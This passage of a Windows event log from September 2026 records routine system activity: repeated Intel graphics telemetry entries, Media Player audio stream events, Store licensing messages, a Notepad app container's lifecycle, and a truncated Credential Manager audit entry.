process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:31.178\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:31.477\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:31.662\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:31.857\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:32.049\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:32.229\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:32.418\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:32.619\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:32.800\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:33.002\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:33.193\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:33.487\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:33.682\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:33.861\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:34.151\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:34.152\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:34.152\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:34.164\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:34.165\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:34.459\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:34.649\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:34.843\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:35.027\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:35.215\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:35.413\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:35.593\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:35.883\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:36.078\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:36.271\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:36.464\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:36.647\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:36.840\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:37.038\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:37.336\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:37.537\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:37.742\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:37.947\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:38.167\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:38.456\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:38.653\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:38.855\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:39.148\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:39.335\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:39.513\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:39.805\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:39.995\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:40.190\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:40.373\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:40.573\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:40.756\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:40.942\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:41.140\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:41.321\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:41.500\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:41.697\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:41.914\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:41.983\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:51:41.983\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:51:42.212\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:42.392\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:42.504\t21\tSound level for application [Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic] changed to [2]\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:42.669\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:42.848\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:43.022\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:43.194\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:43.397\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:43.575\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:43.625\t8100\tStarting validation and setting the Trust Label on package Microsoft.AV1VideoExtension_2.0.7.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:51:43.626\t8106\tPackage Microsoft.AV1VideoExtension_2.0.7.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:51:43.626\t8101\tFinished validation and setting the Trust Label on package Microsoft.AV1VideoExtension_2.0.7.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:51:43.772\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:43.979\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:44.172\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:44.369\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:44.425\t21\tSound level for application [Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic] changed to [2]\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:44.426\t24\t\"Stream started.\nApp Id: Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic\nPID: 7612\nAudio Stream Category: 11\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:44.574\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:44.771\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:44.972\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:45.165\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:45.171\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"Microsoft.Media.Player\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:46.489\t25\t\"Stream stopped.\nApp Id: Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic\nPID: 7612\nAudio Stream Category: 11\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:47.116\t24\t\"Stream started.\nApp Id: Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic\nPID: 7612\nAudio Stream Category: 11\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:47.426\t25\t\"Stream stopped.\nApp Id: Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic\nPID: 7612\nAudio Stream Category: 11\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:47.445\t24\t\"Stream started.\nApp Id: Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic\nPID: 7612\nAudio Stream Category: 11\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:53.376\t25\t\"Stream stopped.\nApp Id: Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic\nPID: 7612\nAudio Stream Category: 11\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:58.706\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:58.709\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:59.347\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:59.353\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:00.396\t8000\t\"Process Name: C:\\WINDOWS\\Explorer.EXE\nModule Name: C:\\WINDOWS\\SYSTEM32\\licensemanagerapi.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:52:00.397\t8001\t\"canDisableApps value is 0\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (195)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:52:00.420\t8001\t\"Skipping license manager: PFN Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:52:00.421\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:52:00.455\t210\tCreated Desktop AppX container {245CDDAB-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:52:00.455\t211\tAdded process 9528 to Desktop AppX container 245cddab-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:52:00.459\t201\tCreated process 9528 for application Microsoft.WindowsNotepad_8wekyb3d8bbwe!App in package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:52:05.217\t217\tDestroyed Desktop AppX container {245CDDAB-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:52:12.951\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:12.957\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:36.067\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:47.021\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, CIMWin32, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:52:54.548\t300\tCompositor Type: 1WINWORDP1: %3P2: %4P3: %5P4: %6\tInformation\tOAlerts\tMicrosoft Office 16 Alerts\n05.09.2026 08:52:54.839\t5379\t\"Credential Manager credentials were 